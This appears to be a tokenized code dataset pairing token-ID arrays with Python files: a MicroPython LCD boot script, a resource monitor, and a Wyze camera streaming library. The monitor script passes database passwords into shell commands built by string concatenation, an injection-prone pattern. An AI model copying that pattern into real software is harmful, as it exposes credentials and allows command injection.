363,
3211,
297,
10377,
29946,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
17744,
26785,
29918,
14573,
29892,
518,
2314,
13,
18884,
21251,
13,
9651,
1723,
13,
13,
4706,
396,
5641,
29894,
29953,
13,
4706,
565,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
5690,
29953,
25903,
29962,
2804,
6535,
3308,
29918,
14824,
17637,
29918,
25416,
29901,
13,
9651,
10377,
29953,
353,
7272,
6535,
375,
29889,
6915,
29898,
4051,
3308,
29918,
5813,
29918,
29940,
29924,
29892,
1583,
29889,
11330,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
5690,
29953,
25903,
2314,
13,
9651,
10377,
29953,
29918,
1272,
353,
7272,
10377,
29953,
29889,
657,
29918,
11330,
29898,
4051,
3308,
29918,
5813,
29918,
5690,
29953,
25903,
29897,
13,
13,
9651,
1583,
3032,
666,
29894,
29953,
353,
306,
29886,
8614,
29898,
13,
18884,
10377,
29918,
7328,
29898,
666,
29953,
29918,
1272,
29961,
4051,
3308,
29918,
1299,
5659,
29918,
29954,
3040,
12982,
29979,
2314,
13,
18884,
565,
10377,
29953,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
29954,
3040,
12982,
29979,
29897,
13,
18884,
1683,
6213,
29892,
13,
18884,
518,
13,
462,
1678,
10377,
29918,
7328,
29898,
13193,
29898,
7039,
261,
369,
876,
13,
462,
1678,
363,
2983,
261,
369,
297,
10377,
29953,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
5813,
18603,
29903,
29897,
13,
18884,
21251,
13,
18884,
518,
13,
462,
1678,
10377,
29918,
13248,
29898,
29888,
29908,
29912,
7328,
29961,
1299,
5659,
29918,
17744,
26785,
29962,
6822,
29912,
7328,
29961,
1299,
5659,
29918,
15094,
25634,
12258,
1159,
13,
462,
1678,
363,
3211,
297,
10377,
29953,
29918,
1272,
29889,
657,
29898,
4051,
3308,
29918,
1299,
5659,
29918,
17744,
26785,
29918,
14573,
29892,
518,
2314,
13,
18884,
21251,
13,
9651,
1723,
13,
2
] |
Sensors/boot.py | leviner/MicrocontrollerKits | 0 | 181085 | <gh_stars>0
# This file is executed on every boot (including wake-boot from deepsleep)
# code block from original boot.py on STM32 Micropython v1.13
#import machine
#import pyb
#pyb.country('US') # ISO 3166-1 Alpha-2 code, eg US, GB, DE, AU
##pyb.main('main.py') # main script to run after this one
##pyb.usb_mode('VCP+MSC') # act as a serial and a storage device
##pyb.usb_mode('VCP+HID') # act as a serial device and a mouse
# Import platform-specific definitions
from platform_defs import *
from machine import Pin, I2C
from esp8266_i2c_lcd import I2cLcd
from time import sleep
try:
i2c = I2C(scl=Pin(p_I2Cscl_lbl),sda=Pin(p_I2Csda_lbl))
lcd = I2cLcd(i2c, 0x27,2,16)
exclam_u = bytearray([0x00,0x04,0x00,0x00,0x04,0x04,0x04,0x04])
lcd.custom_char(0,exclam_u)
lcd.putstr('Hello\n'+chr(0)+'Hola!')
sleep(5)
except:
pass
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
910,
934,
338,
8283,
373,
1432,
6579,
313,
18271,
281,
1296,
29899,
4777,
515,
316,
8961,
5436,
29897,
13,
13,
29937,
775,
2908,
515,
2441,
6579,
29889,
2272,
373,
6850,
29924,
29941,
29906,
20279,
1336,
1656,
325,
29896,
29889,
29896,
29941,
13,
29937,
5215,
4933,
13,
29937,
5215,
11451,
29890,
13,
29937,
2272,
29890,
29889,
13509,
877,
3308,
1495,
396,
17723,
29871,
29941,
29896,
29953,
29953,
29899,
29896,
838,
2026,
29899,
29906,
775,
29892,
8087,
3148,
29892,
19289,
29892,
5012,
29892,
319,
29965,
13,
2277,
2272,
29890,
29889,
3396,
877,
3396,
29889,
2272,
1495,
396,
1667,
2471,
304,
1065,
1156,
445,
697,
13,
2277,
2272,
29890,
29889,
28685,
29918,
8513,
877,
29963,
6271,
29974,
4345,
29907,
1495,
396,
1044,
408,
263,
7797,
322,
263,
8635,
4742,
13,
2277,
2272,
29890,
29889,
28685,
29918,
8513,
877,
29963,
6271,
29974,
29950,
1367,
1495,
396,
1044,
408,
263,
7797,
4742,
322,
263,
9495,
13,
29937,
16032,
7481,
29899,
14940,
15848,
13,
13,
3166,
7481,
29918,
1753,
29879,
1053,
334,
13,
13,
3166,
4933,
1053,
17434,
29892,
306,
29906,
29907,
13,
3166,
5152,
29947,
29906,
29953,
29953,
29918,
29875,
29906,
29883,
29918,
29880,
2252,
1053,
306,
29906,
29883,
29931,
2252,
13,
3166,
931,
1053,
8709,
13,
13,
13,
2202,
29901,
13,
1678,
474,
29906,
29883,
353,
306,
29906,
29907,
29898,
29879,
695,
29922,
29925,
262,
29898,
29886,
29918,
29902,
29906,
29907,
29879,
695,
29918,
26648,
511,
29879,
1388,
29922,
29925,
262,
29898,
29886,
29918,
29902,
29906,
29907,
29879,
1388,
29918,
26648,
876,
13,
1678,
301,
2252,
353,
306,
29906,
29883,
29931,
2252,
29898,
29875,
29906,
29883,
29892,
29871,
29900,
29916,
29906,
29955,
29892,
29906,
29892,
29896,
29953,
29897,
13,
1678,
429,
15719,
29918,
29884,
353,
7023,
2378,
4197,
29900,
29916,
29900,
29900,
29892,
29900,
29916,
29900,
29946,
29892,
29900,
29916,
29900,
29900,
29892,
29900,
29916,
29900,
29900,
29892,
29900,
29916,
29900,
29946,
29892,
29900,
29916,
29900,
29946,
29892,
29900,
29916,
29900,
29946,
29892,
29900,
29916,
29900,
29946,
2314,
13,
1678,
301,
2252,
29889,
6341,
29918,
3090,
29898,
29900,
29892,
735,
15719,
29918,
29884,
29897,
13,
1678,
301,
2252,
29889,
649,
710,
877,
10994,
29905,
29876,
18717,
22495,
29898,
29900,
7240,
29915,
29950,
2963,
29991,
1495,
13,
1678,
8709,
29898,
29945,
29897,
13,
19499,
29901,
13,
1678,
1209,
13,
13,
2
] |
tides-server/pkg/controller/monitor.py | ji-it/CloudTides | 3 | 148932 | <gh_stars>1-10
import psycopg2
import os
from config import BASE_DIR, DATABASES, FULL_HOSTNAME
import requests
import json
def main():
db = DATABASES['default']['NAME']
user = DATABASES['default']['USER']
password = DATABASES['default']['PASSWORD']
host = DATABASES['default']['HOST']
port = DATABASES['default']['PORT']
conn = psycopg2.connect(database=db, user=user, password=password, host=host, port=port)
cur = conn.cursor()
cur.execute(
'SELECT host_address, name, username, password, id FROM resources')
results = cur.fetchall()
path = os.path.join(BASE_DIR, 'controller')
for result in results:
os.system('python3 ' + path + '/query_usage.py -s ' + result[0] + ' -u ' + result[
2] + ' -p ' + \
result[3] + ' -n ' + result[1] + ' --no-ssl\n')
os.system('python3 ' + path + '/get_vm_usage_class.py -s ' + result[0] + ' -u ' + \
result[2] + ' -p ' + result[3] + ' -n ' + result[1] + \
' --no-ssl\n')
# cur.execute('UPDATE resources SET monitored = True WHERE host_address = %s AND name = %s',
# (result[0], result[1]))
# conn.commit()
data = {}
data['ResourceID'] = result[4]
data['Monitored'] = True
headers = {'Content-type': 'application/json'}
requests.put(FULL_HOSTNAME + "/v1/resource/update_status/",
data=json.dumps(data), headers=headers)
conn.commit()
cur.close()
conn.close()
# start
if __name__ == "__main__":
main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
5215,
6529,
29891,
9708,
29887,
29906,
13,
5215,
2897,
13,
3166,
2295,
1053,
350,
8127,
29918,
9464,
29892,
27640,
27982,
29903,
29892,
383,
3299,
29918,
20832,
5813,
13,
5215,
7274,
13,
5215,
4390,
13,
13,
1753,
1667,
7295,
13,
1678,
4833,
353,
27640,
27982,
29903,
1839,
4381,
16215,
5813,
2033,
13,
1678,
1404,
353,
27640,
27982,
29903,
1839,
4381,
16215,
11889,
2033,
13,
1678,
4800,
353,
27640,
27982,
29903,
1839,
4381,
16215,
25711,
17013,
2033,
13,
1678,
3495,
353,
27640,
27982,
29903,
1839,
4381,
16215,
20832,
2033,
13,
1678,
2011,
353,
27640,
27982,
29903,
1839,
4381,
16215,
15082,
2033,
13,
1678,
11009,
353,
6529,
29891,
9708,
29887,
29906,
29889,
6915,
29898,
9803,
29922,
2585,
29892,
1404,
29922,
1792,
29892,
4800,
29922,
5630,
29892,
3495,
29922,
3069,
29892,
2011,
29922,
637,
29897,
13,
1678,
3151,
353,
11009,
29889,
18127,
580,
13,
13,
1678,
3151,
29889,
7978,
29898,
13,
4706,
525,
6404,
3495,
29918,
7328,
29892,
1024,
29892,
8952,
29892,
4800,
29892,
1178,
3895,
7788,
1495,
13,
1678,
2582,
353,
3151,
29889,
9155,
497,
580,
13,
1678,
2224,
353,
2897,
29889,
2084,
29889,
7122,
29898,
25416,
29918,
9464,
29892,
525,
8299,
1495,
13,
13,
1678,
363,
1121,
297,
2582,
29901,
13,
4706,
2897,
29889,
5205,
877,
4691,
29941,
525,
718,
2224,
718,
8207,
1972,
29918,
21125,
29889,
2272,
448,
29879,
525,
718,
1121,
29961,
29900,
29962,
718,
525,
448,
29884,
525,
718,
1121,
29961,
13,
632,
29906,
29962,
718,
525,
448,
29886,
525,
718,
320,
13,
462,
29871,
1121,
29961,
29941,
29962,
718,
525,
448,
29876,
525,
718,
1121,
29961,
29896,
29962,
718,
525,
1192,
1217,
29899,
16265,
29905,
29876,
1495,
13,
13,
4706,
2897,
29889,
5205,
877,
4691,
29941,
525,
718,
2224,
718,
8207,
657,
29918,
6925,
29918,
21125,
29918,
1990,
29889,
2272,
448,
29879,
525,
718,
1121,
29961,
29900,
29962,
718,
525,
448,
29884,
525,
718,
320,
13,
462,
29871,
1121,
29961,
29906,
29962,
718,
525,
448,
29886,
525,
718,
1121,
29961,
29941,
29962,
718,
525,
448,
29876,
525,
718,
1121,
29961,
29896,
29962,
718,
320,
13,
462,
1678,
525,
1192,
1217,
29899,
16265,
29905,
29876,
1495,
13,
13,
4706,
396,
3151,
29889,
7978,
877,
14474,
7788,
11368,
11819,
287,
353,
5852,
5754,
3495,
29918,
7328,
353,
1273,
29879,
5300,
1024,
353,
1273,
29879,
742,
13,
462,
1678,
396,
313,
2914,
29961,
29900,
1402,
1121,
29961,
29896,
12622,
13,
4706,
396,
11009,
29889,
15060,
580,
13,
4706,
848,
353,
6571,
13,
4706,
848,
1839,
6848,
1367,
2033,
353,
1121,
29961,
29946,
29962,
13,
4706,
848,
1839,
7185,
2105,
287,
2033,
353,
5852,
13,
4706,
9066,
353,
11117,
3916,
29899,
1853,
2396,
525,
6214,
29914,
3126,
10827,
13,
4706,
7274,
29889,
649,
29898,
29943,
3299,
29918,
20832,
5813,
718,
5591,
29894,
29896,
29914,
10314,
29914,
5504,
29918,
4882,
29914,
613,
13,
9651,
848,
29922,
3126,
29889,
29881,
17204,
29898,
1272,
511,
9066,
29922,
13662,
29897,
13,
13,
13,
1678,
11009,
29889,
15060,
580,
13,
1678,
3151,
29889,
5358,
580,
13,
1678,
11009,
29889,
5358,
580,
13,
13,
13,
29937,
1369,
13,
361,
4770,
978,
1649,
1275,
376,
1649,
3396,
1649,
1115,
13,
1678,
1667,
580,
13,
2
] |
wyzecam/iotc.py | kingrollsdice/wyzecam | 0 | 71290 | from typing import Dict, Iterator, Optional, Tuple, Union
import enum
import pathlib
import time
import warnings
from ctypes import CDLL, c_int
from wyzecam.api_models import WyzeAccount, WyzeCamera
try:
import av
import av.video.frame
except ImportError:
av = None
try:
import cv2
except ImportError:
cv2 = None
try:
import numpy as np
except ImportError:
np = None # type: ignore
from wyzecam.tutk import tutk
from wyzecam.tutk.tutk_ioctl_mux import TutkIOCtrlMux
from wyzecam.tutk.tutk_protocol import (
K10000ConnectRequest,
K10056SetResolvingBit,
respond_to_ioctrl_10001,
)
class WyzeIOTC:
"""Wyze IOTC singleton, used to construct iotc_sessions
This object should generally be used inside a context manager, i.e.:
```python
with WyzeIOTC() as wyze:
with wyze.connect_and_auth(account, camera) as session:
... # send commands to the camera, then start streaming
```
:var tutk_platform_lib: the underlying c library used to communicate with the wyze
device; see [wyzecam.tutk.tutk.load_library][]
:var udp_port: the UDP port used on this machine for communication with wyze cameras on the same network
:vartype udp_port: int
:var max_num_av_channels: the maximum number of simultaneous sessions this object supports.
:vartype max_num_av_channels: int
:var version: the version of the underyling `tutk_platform_lib`
"""
def __init__(
self,
tutk_platform_lib: Optional[Union[str, CDLL]] = None,
udp_port: Optional[int] = None,
max_num_av_channels: Optional[int] = None,
) -> None:
"""Construct a WyzeIOTC session object
You should only create one of these at a time.
:param tutk_platform_lib: The underlying c library (from tutk.load_library()), or the path
to this library.
:param udp_port: Specify a UDP port. Random UDP port is used if it is specified as 0.
:param max_num_av_channels: The max number of AV channels. If it is specified
less than 1, AV will set max number of AV channels as 1.
"""
if tutk_platform_lib is None:
tutk_platform_lib = tutk.load_library()
if isinstance(tutk_platform_lib, str):
path = pathlib.Path(tutk_platform_lib)
tutk_platform_lib = tutk.load_library(str(path.absolute()))
self.tutk_platform_lib: CDLL = tutk_platform_lib
self.initd = False
self.udp_port = udp_port
self.max_num_av_channels = max_num_av_channels
def initialize(self):
"""Initialize the underlying TUTK library
This is called automatically by the context manager,
and should only be called if you intend to manually handle
cleanup of this classes resources (by calling deinitialize
when done with it!)
"""
if self.initd:
return
self.initd = True
errno = tutk.iotc_initialize(
self.tutk_platform_lib, udp_port=self.udp_port or 0
)
if errno < 0:
raise tutk.TutkError(errno)
actual_num_chans = tutk.av_initialize(
self.tutk_platform_lib, max_num_channels=self.max_num_av_channels
)
if actual_num_chans < 0:
raise tutk.TutkError(errno)
self.max_num_av_channels = actual_num_chans
def deinitialize(self):
"""Deinitialize the underlying TUTK library
This is called automatically by the context manager
"""
tutk.av_deinitialize(self.tutk_platform_lib)
tutk.iotc_deinitialize(self.tutk_platform_lib)
@property
def version(self):
"""Get the version of the underlying TUTK library"""
return tutk.iotc_get_version(self.tutk_platform_lib)
def __enter__(self):
self.initialize()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.deinitialize()
def connect_and_auth(
self, account: WyzeAccount, camera: WyzeCamera
) -> "WyzeIOTCSession":
"""Initialize a new iotc session with the specified camera, and account information.
The result of this method should be used as a context manager, i.e. using the 'with'
keyword. This allows us to automatically clean up after we're done with the session:
```python
with WyzeIOTC() as iotc:
with iotc.connect_and_auth(account, camera) as session:
... # send configuration commands, or stream video from the session.
```
See [WyzeIOTCSession](../iotc_session/) for more info.
:param account: the account object returned from [wyzecam.api.get_user_info][]
:param camera: the camera object returned from [wyzecam.api.get_camera_list][]
:returns: An object representing the Wyze IOTC Session, a [WyzeIOTCSession](../iotc_session/)
"""
return WyzeIOTCSession(self.tutk_platform_lib, account, camera)
class WyzeIOTCSessionState(enum.IntEnum):
"""An enum describing the possible states of a WyzeIOTCSession"""
DISCONNECTED = 0
"""Not yet connected"""
IOTC_CONNECTING = 1
"""Currently attempting to connect the IOTC session"""
AV_CONNECTING = 2
"""Currently attempting to connect the AV session"""
CONNECTED = 3
"""Fully connected to the camera, but have not yet attempted to authenticate"""
CONNECTING_FAILED = 4
"""Connection failed, no longer connected"""
AUTHENTICATING = 5
"""Attempting to authenticate"""
AUTHENTICATION_SUCCEEDED = 6
"""Fully connected and authenticated"""
AUTHENTICATION_FAILED = 7
"""Authentication failed, no longer connected"""
class WyzeIOTCSession:
"""An IOTC session object, used for communicating with Wyze cameras
This is constructed from a WyzeIOTC object:
```python
with WyzeIOTC() as wyze:
with wyze.connect_and_auth(account, camera) as session:
... # send configuration commands, or stream video
```
However, you can construct it manually, which can be helpful if you intend to set a
different frame size or bitrate than the defaults:
```python
with WyzeIOTCSession(lib, account, camera, bitrate=tutk.BITRATE_SD)
...
```
> **Note:** WyzeIOTCSession is intended to be used as a context manager. Otherwise,
> you will need to manually tell the session to connect and authenticate, by calling
> session._connect() followed by session._auth(), and session._disconnect() when you're
> ready to disconnect the session.
:var tutk_platform_lib: The underlying c library (from [tutk.load_library][wyzecam.tutk.tutk.load_library])
:var account: A [WyzeAccount][wyzecam.api_models.WyzeAccount] instance, see
[api.get_user_info][wyzecam.api.get_user_info]
:var camera: A [WyzeCamera][wyzecam.api_models.WyzeCamera] instance, see
[api.get_camera_list][wyzecam.api.get_camera_list]
:var preferred_frame_size: The preferred size of the video stream returned by the camera.
See [wyzecam.tutk.tutk.FRAME_SIZE_1080P][].
:var preferred_bitrate: The preferred bitrate of the video stream returned by the camera.
See [wyzecam.tutk.tutk.BITRATE_HD][].
:var session_id: The id of this session, once connected.
:var av_chan_id: The AV channel of this session, once connected.
:var state: The current connection state of this session. See
[WyzeIOTCSessionState](../iotc_session_state/).
"""
def __init__(
self,
tutk_platform_lib: CDLL,
account: WyzeAccount,
camera: WyzeCamera,
frame_size: int = tutk.FRAME_SIZE_1080P,
bitrate: int = tutk.BITRATE_HD,
) -> None:
"""Construct a wyze iotc session
:param tutk_platform_lib: The underlying c library (from
[tutk.load_library][wyzecam.tutk.tutk.load_library])
:param account: A [WyzeAccount][wyzecam.api_models.WyzeAccount] instance, see
[api.get_user_info][wyzecam.api.get_user_info]
:param camera: A [WyzeCamera][wyzecam.api_models.WyzeCamera] instance, see
[api.get_camera_list][wyzecam.api.get_camera_list]
:param frame_size: Configures the size of the video stream returned by the camera.
See [wyzecam.tutk.tutk.FRAME_SIZE_1080P][].
:param bitrate: Configures the bitrate of the video stream returned by the camera.
See [wyzecam.tutk.tutk.BITRATE_HD][].
"""
self.tutk_platform_lib: CDLL = tutk_platform_lib
self.account: WyzeAccount = account
self.camera: WyzeCamera = camera
self.session_id: Optional[c_int] = None
self.av_chan_id: Optional[c_int] = None
self.state: WyzeIOTCSessionState = WyzeIOTCSessionState.DISCONNECTED
self.preferred_frame_size: int = frame_size
self.preferred_bitrate: int = bitrate
def session_check(self) -> tutk.SInfoStruct:
"""Used by a device or a client to check the IOTC session info.
A device or a client may use this function to check if the IOTC session is
still alive as well as getting the IOTC session info.
:returns: A [`tutk.SInfoStruct`][wyzecam.tutk.tutk.SInfoStruct]
"""
assert (
self.session_id is not None
), "Please call _connect() before session_check()"
errcode, sess_info = tutk.iotc_session_check(
self.tutk_platform_lib, self.session_id
)
if errcode < 0:
raise tutk.TutkError(errcode)
return sess_info
def iotctrl_mux(self) -> TutkIOCtrlMux:
"""Constructs a new TutkIOCtrlMux for this session
Use this to send configuration messages, such as change the cameras resolution.
Note that you either should treat the result of this as a context manager (using
with), or call start_listening() explicitly on the result. This starts a separate
thread listening for the responses from the camera.
```python
with session.ioctrl_mux() as mux:
msg = tutk_protocol.K10056SetResolvingBit(
tutk.FRAME_SIZE_1080P, tutk.BITRATE_SD)
future = mux.send_ioctl(msg)
assert future.result() == True, "Change bitrate failed!"
```
"""
assert self.av_chan_id is not None, "Please call _connect() first!"
return TutkIOCtrlMux(self.tutk_platform_lib, self.av_chan_id)
def __enter__(self):
self._connect()
self._auth()
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self._disconnect()
def recv_video_data(
self,
) -> Iterator[Tuple[Optional[bytes], tutk.FrameInfoStruct]]:
"""A generator for returning raw video frames!
By iterating over the return value of this function, you will
get raw video frame data in the form of a bytes object. This
is convenient for accessing the raw video data without doing
the work of decoding or transcoding the actual video feed. If
you want to save the video to disk, display it, or otherwise process
the video, I highly recommend using `recv_video_frame` or
`recv_video_frame_nparray` instead of this function.
The second item in the tuple returned by this function, 'frame_info', is a useful
set of metadata about the frame as returned by the camera. See
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct] for more details about
the contents of this object.
Note that the format of this data is either raw h264 or HVEC H265 video. You will
have to introspect the frame_info object to determine the format!
```python
with wyzecam.WyzeIOTC() as wyze_iotc:
with wyze_iotc.connect_and_auth(account, camera) as sess:
for (frame, frame_info) in sess.recv_video_data():
# do something with the video data! :)
```
In order to use this, you will need to install [PyAV](https://pyav.org/docs/stable/).
:returns: A generator, which when iterated over, yields a tuple containing the decoded image
(as a [PyAV VideoFrame](https://pyav.org/docs/stable/api/video.html#av.video.frame.VideoFrame)),
as well as metadata about the frame (in the form of a
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct]).
"""
assert self.av_chan_id is not None, "Please call _connect() first!"
while True:
errno, frame_data, frame_info, frame_idx = tutk.av_recv_frame_data(
self.tutk_platform_lib, self.av_chan_id
)
if errno < 0:
if errno == tutk.AV_ER_DATA_NOREADY:
time.sleep(1.0 / 40)
continue
elif errno == tutk.AV_ER_INCOMPLETE_FRAME:
warnings.warn("Received incomplete frame")
continue
elif errno == tutk.AV_ER_LOSED_THIS_FRAME:
warnings.warn("Lost frame")
continue
else:
raise tutk.TutkError(errno)
assert frame_info is not None, "Got no frame info without an error!"
if frame_info.frame_size != self.preferred_frame_size:
print("skipping smaller frame at start of stream")
continue
yield frame_data, frame_info
def recv_video_frame(
self,
) -> Iterator[Tuple["av.VideoFrame", tutk.FrameInfoStruct]]:
"""A generator for returning decoded video frames!
By iterating over the return value of this function, you will conveniently
get nicely decoded frames in the form of a PyAV VideoFrame object. This is
convenient for recording the video to disk.
The second item in the tuple returned by this function, 'frame_info', is a useful
set of metadata about the frame as returned by the camera. See
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct] for more details about
the contents of this object.
```python
with wyzecam.WyzeIOTC() as wyze_iotc:
with wyze_iotc.connect_and_auth(account, camera) as sess:
for (frame, frame_info) in sess.recv_video_frame():
# do something with the video data! :)
```
In order to use this, you will need to install [PyAV](https://pyav.org/docs/stable/).
:returns: A generator, which when iterated over, yields a tuple containing the decoded image
(as a [PyAV VideoFrame](https://pyav.org/docs/stable/api/video.html#av.video.frame.VideoFrame)),
as well as metadata about the frame (in the form of a
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct]).
"""
if av is None:
raise RuntimeError(
"recv_video_frame requires PyAv to parse video frames. "
"Install with `pip install av` and try again."
)
codec = None
for frame_data, frame_info in self.recv_video_data():
if codec is None:
codec = self._av_codec_from_frameinfo(frame_info)
packets = codec.parse(frame_data)
for packet in packets:
frames = codec.decode(packet)
for frame in frames:
yield frame, frame_info
def recv_video_frame_ndarray(
self,
) -> Iterator[Tuple["np.ndarray", tutk.FrameInfoStruct]]:
"""A generator for returning decoded video frames!
By iterating over the return value of this function, you will conveniently
get nicely decoded frames in the form of a numpy array (suitable for
[matplotlib.imshow](https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.imshow.html)
or [cv2.imshow](https://docs.opencv.org/master/dd/d43/tutorial_py_video_display.html).
The second item in the tuple returned by this function, 'frame_info', is a useful
set of metadata about the frame as returned by the camera. See
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct] for more details about
the contents of this object.
```python
with wyzecam.WyzeIOTC() as wyze_iotc:
with wyze_iotc.connect_and_auth(account, camera) as sess:
for (frame, frame_info) in sess.recv_video_frame_ndarray():
# do something with the video data! :)
```
In order to use this, you will need to install [PyAV](https://pyav.org/docs/stable/)
and [numpy](https://numpy.org/).
:returns: A generator, which when iterated over, yields a tuple containing the decoded image
(as a numpy array), as well as metadata about the frame (in the form of a
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct]).
"""
if np is None:
raise RuntimeError(
"recv_video_frame_ndarray requires numpy to convert to a numpy array. "
"Install with `pip install numpy` and try again."
)
for frame, frame_info in self.recv_video_frame():
img = frame.to_ndarray(format="bgr24")
yield img, frame_info
def recv_video_frame_ndarray_with_stats(
self,
stat_window_size: int = 210,
draw_stats: Optional[
str
] = "{width}x{height} {kilobytes_per_second} kB/s {frames_per_second} FPS",
) -> Iterator[Tuple["np.ndarray", tutk.FrameInfoStruct, Dict[str, int]]]:
"""
Does everything recv_video_frame_ndarray does, but also computes a number
of useful / interesting debug metrics including effective framerate, bitrate,
and frame size information. Optionally, if you specify a format string to the
`draw_stats` function, this information will be used to draw a line of text
onto the image in the top-right corner with this debug information.
```python
with wyzecam.WyzeIOTC() as wyze_iotc:
with wyze_iotc.connect_and_auth(account, camera) as sess:
for (frame, frame_info, frame_stats) in sess.recv_video_frame_ndarray_with_stats():
# do something with the video data! :)
```
This method gives you an additional 'frame_stats' value every frame, which is a
dict with the following keys:
- "bytes_per_second"
- "kilobytes_per_second"
- "window_duration"
- "frames_per_second"
- "width"
- "height"
This dictionary is available in the draw_stats string as arguments to a python
str.format() call, allowing you to quickly change the debug string in the top corner
of the video.
In order to use this, you will need to install [PyAV](https://pyav.org/docs/stable/),
[numpy](https://numpy.org/), and [PyOpenCV](https://pypi.org/project/opencv-python/).
:param stat_window_size: the number of consecutive frames to use as the window function
for computing the above metrics. The larger the window size,
the longer period over which the metrics are averaged. Note that
this method is not performant for very large window sizes.
:param draw_stats: if specified, this python format() string is used to draw some debug text
in the upper right hand corner.
:returns: A generator, which when iterated over, yields a 3-tuple containing the decoded image
(as a numpy array), metadata about the frame (in the form of a
[tutk.FrameInfoStruct][wyzecam.tutk.tutk.FrameInfoStruct]), and some performance
statistics (in the form of a dict).
"""
stat_window = []
for frame_ndarray, frame_info in self.recv_video_frame_ndarray():
stat_window.append(frame_info)
if len(stat_window) > stat_window_size:
stat_window = stat_window[len(stat_window) - stat_window_size :]
if len(stat_window) > 1:
stat_window_start = (
stat_window[0].timestamp
+ stat_window[0].timestamp_ms / 1_000_000
)
stat_window_end = (
stat_window[-1].timestamp
+ stat_window[-1].timestamp_ms / 1_000_000
)
stat_window_duration = stat_window_end - stat_window_start
stat_window_total_size = sum(
b.frame_len for b in stat_window[:-1]
) # skip the last reading
bytes_per_second = int(
stat_window_total_size / stat_window_duration
)
frames_per_second = int(len(stat_window) / stat_window_duration)
else:
bytes_per_second = 0
stat_window_duration = 0
frames_per_second = 0
stats = {
"bytes_per_second": bytes_per_second,
"kilobytes_per_second": int(bytes_per_second / 1000),
"window_duration": stat_window_duration,
"frames_per_second": frames_per_second,
"width": frame_ndarray.shape[1],
"height": frame_ndarray.shape[0],
}
if draw_stats:
text = draw_stats.format(**stats)
cv2.putText(
frame_ndarray,
text,
(50, 50),
cv2.FONT_HERSHEY_DUPLEX,
1,
(0, 0, 0),
2,
cv2.LINE_AA,
)
cv2.putText(
frame_ndarray,
text,
(50, 50),
cv2.FONT_HERSHEY_DUPLEX,
1,
(255, 255, 255),
1,
cv2.LINE_AA,
)
yield frame_ndarray, frame_info, stats
def _av_codec_from_frameinfo(self, frame_info):
if frame_info.codec_id == 78:
codec_name = "h264"
elif frame_info.codec_id == 80:
codec_name = "hevc"
else:
codec_name = "h264"
print(f"Unexpected codec! got {frame_info.codec_id}.")
# noinspection PyUnresolvedReferences
codec = av.CodecContext.create(codec_name, "r")
return codec
def _connect(
self,
timeout_secs=10,
channel_id=0,
username="admin",
password="<PASSWORD>",
max_buf_size=5 * 1024 * 1024,
):
try:
self.state = WyzeIOTCSessionState.IOTC_CONNECTING
self.session_id = tutk.iotc_get_session_id(self.tutk_platform_lib)
if self.session_id < 0: # type: ignore
raise tutk.TutkError(self.session_id)
self.session_id = tutk.iotc_connect_by_uid_parallel(
self.tutk_platform_lib, self.camera.p2p_id, self.session_id
)
if self.session_id < 0: # type: ignore
raise tutk.TutkError(self.session_id)
self.session_check()
self.state = WyzeIOTCSessionState.AV_CONNECTING
av_chan_id, pn_serv_type = tutk.av_client_start(
self.tutk_platform_lib,
self.session_id,
username.encode("<PASSWORD>"),
password.encode("<PASSWORD>"),
timeout_secs,
channel_id,
)
if av_chan_id < 0: # type: ignore
raise tutk.TutkError(av_chan_id)
self.av_chan_id = av_chan_id
self.state = WyzeIOTCSessionState.CONNECTED
finally:
if self.state != WyzeIOTCSessionState.CONNECTED:
self.state = WyzeIOTCSessionState.CONNECTING_FAILED
print(
f"AV Client Start: "
f"chan_id={av_chan_id} "
f"expected_chan={channel_id} "
f"pn_serv_type={pn_serv_type.value}"
)
tutk.av_client_set_max_buf_size(self.tutk_platform_lib, max_buf_size)
def _auth(self):
assert (
self.state == WyzeIOTCSessionState.CONNECTED
), f"Auth expected state to be connected but not authed; state={self.state}"
self.state = WyzeIOTCSessionState.AUTHENTICATING
try:
with self.iotctrl_mux() as mux:
challenge = mux.send_ioctl(K10000ConnectRequest())
challenge_response = respond_to_ioctrl_10001(
challenge.result(),
challenge.resp_protocol,
self.camera.enr,
self.camera.product_model,
self.camera.mac,
self.account.phone_id,
self.account.open_user_id,
)
auth_response = mux.send_ioctl(challenge_response).result()
assert (
auth_response["connectionRes"] == "1"
), f"Authentication did not succeed! {auth_response}"
self.camera.set_camera_info(auth_response["cameraInfo"])
resolving = mux.send_ioctl(
K10056SetResolvingBit(
self.preferred_frame_size, self.preferred_bitrate
)
)
mux.waitfor(resolving)
self.state = WyzeIOTCSessionState.AUTHENTICATION_SUCCEEDED
finally:
if self.state != WyzeIOTCSessionState.AUTHENTICATION_SUCCEEDED:
self.state = WyzeIOTCSessionState.AUTHENTICATION_FAILED
return self
def _disconnect(self):
if self.av_chan_id:
tutk.av_client_stop(self.tutk_platform_lib, self.av_chan_id)
self.av_chan_id = None
if self.session_id:
tutk.iotc_session_close(self.tutk_platform_lib, self.session_id)
self.session_id = None
self.state = WyzeIOTCSessionState.DISCONNECTED
| [
1,
515,
19229,
1053,
360,
919,
29892,
20504,
1061,
29892,
28379,
29892,
12603,
552,
29892,
7761,
13,
13,
5215,
14115,
13,
5215,
2224,
1982,
13,
5215,
931,
13,
5215,
18116,
13,
3166,
274,
8768,
1053,
7307,
2208,
29892,
274,
29918,
524,
13,
13,
3166,
5018,
17938,
314,
29889,
2754,
29918,
9794,
1053,
10167,
911,
10601,
29892,
10167,
911,
20717,
13,
13,
2202,
29901,
13,
1678,
1053,
1029,
13,
1678,
1053,
1029,
29889,
